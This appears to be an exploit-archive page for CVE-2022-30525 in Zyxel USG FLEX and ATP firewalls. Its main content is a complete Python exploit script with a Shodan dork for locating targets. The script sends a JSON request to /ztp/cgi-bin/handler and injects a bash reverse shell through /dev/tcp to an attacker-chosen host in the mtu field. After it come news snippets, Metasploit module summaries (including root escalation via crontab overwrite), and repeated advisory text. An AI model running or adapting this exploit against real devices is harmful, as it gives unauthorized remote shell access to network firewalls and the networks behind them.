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Zyxel USG FLEX 5.21 Command Injection
Zyxel USG FLEX version 5.21 suffers from a command injection vulnerability.
# Exploit Title: Zyxel USG FLEX 5.21 - OS Command Injection# Shodan Dork: title:"USG FLEX 100" title:"USG FLEX 100W" title:"USG FLEX 200" title:"USG FLEX 500" title:"USG FLEX 700" title:"USG20-VPN" title:"USG20W-VPN" title:"ATP 100" title:"ATP 200" title:"ATP 500" title:"ATP 700" title:"ATP 800"# Date: May 18th 2022# Exploit Author: Valentin Lobstein# Vendor Homepage: https://www.zyxel.com# Version: ZLD5.00 thru ZLD5.21# Tested on: Linux# CVE: CVE-2022-30525from requests.packages.urllib3.exceptions import InsecureRequestWarningimport sysimport jsonimport base64import requestsimport argparseparser = argparse.ArgumentParser( prog="CVE-2022-30525.py", description="Example : python3 %(prog)s -u https://google.com -r 127.0.0.1 -p 4444",)parser.add_argument("-u", dest="url", help="Specify target URL")parser.add_argument("-r", dest="host", help="Specify Remote host")parser.add_argument("-p", dest="port", help="Specify Remote port")args = parser.parse_args()banner = ( "ICwtLiAuICAgLCAsLS0uICAgICAsLS4gICAsLS4gICwtLiAgLC0uICAgICAgLC0tLCAgLC0uICA7" "LS0nICwtLiAgOy0tJyAKLyAgICB8ICAvICB8ICAgICAgICAgICApIC8gIC9cICAgICkgICAgKSAg" "ICAgICAvICAvICAvXCB8ICAgICAgICkgfCAgICAKfCAgICB8IC8gICB8LSAgIC0tLSAgIC8gIHwg" "LyB8ICAgLyAgICAvICAtLS0gIGAuICB8IC8gfCBgLS4gICAgLyAgYC0uICAKXCAgICB8LyAgICB8" "ICAgICAgICAgLyAgIFwvICAvICAvICAgIC8gICAgICAgICAgKSBcLyAgLyAgICApICAvICAgICAg" "KSAKIGAtJyAnICAgICBgLS0nICAgICAnLS0nICBgLScgICctLScgJy0tJyAgICAgYC0nICAgYC0n" "ICBgLScgICctLScgYC0nICAKCVJldnNoZWxscwkoQ3JlYXRlZCBCeSBWYWxlbnRpbiBMb2JzdGVp" "biA6KSApCg==")def main(): print("\n" + base64.b64decode(banner).decode("utf-8")) if None in vars(args).values(): print(f"[!] Please enter all parameters !") parser.print_help() sys.exit() if "http" not in args.url: args.url = "https://" + args.url args.url += "/ztp/cgi-bin/handler" exploit(args.url, args.host, args.port)def exploit(url, host, port): headers = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Content-Type": "application/json", } data = { "command": "setWanPortSt", "proto": "dhcp", "port": "4", "vlan_tagged": "1", "vlanid": "5", "mtu": f'; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;";', "data": "hi", } requests.packages.urllib3.disable_warnings(InsecureRequestWarning) print(f"\n[!] Trying to exploit {args.url.replace('/ztp/cgi-bin/handler','')}") try: response = requests.post( url=url, headers=headers, data=json.dumps(data), verify=False, timeout=5 ) except (KeyboardInterrupt, requests.exceptions.Timeout): print("[!] Bye Bye hekcer !") sys.exit(1) finally: try: print("[!] Can't exploit the target ! Code :", response.status_code) except: print("[!] Enjoy your shell !!!")if __name__ == "__main__": main()Related news
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This Metasploit module exploits CVE-2022-30526, a local privilege escalation vulnerability that allows a low privileged user (e.g. nobody) escalate to root. The issue stems from a suid binary that allows all users to copy files as root. This module overwrites the firewall's crontab to execute an attacker provided script, resulting in code execution as root. In order to use this module, the attacker must first establish shell access. For example, by exploiting CVE-2022-30525. Known affected Zyxel models include USG FLEX (50, 50W, 100W, 200, 500, 700), ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
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Image source: z3r00t The U.S. Cybersecurity and Infrastructure Security Agency on Monday added two security flaws, including the recently disclosed remote code execution bug affecting Zyxel firewalls, to its Known Exploited Vulnerabilities Catalog, citing evidence of active exploitation. Tracked as CVE-2022-30525, the vulnerability is rated 9.8 for severity and relates to a command injection flaw
Just one day after disclosure, cyberattackers are actively going after the command-injection/code-execution vulnerability in Zyxel's gear.
This Metasploit module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below, USG20-VPN and USG20W-VPN using firmware 5.21 and below, and ATP 100, 200, 500, 700, 800 using firmware 5.21 and below.
Zyxel has moved to address a critical security vulnerability affecting Zyxel firewall devices that enables unauthenticated and remote attackers to gain arbitrary code execution. "A command injection vulnerability in the CGI program of some firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device," the company said in an advisory
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.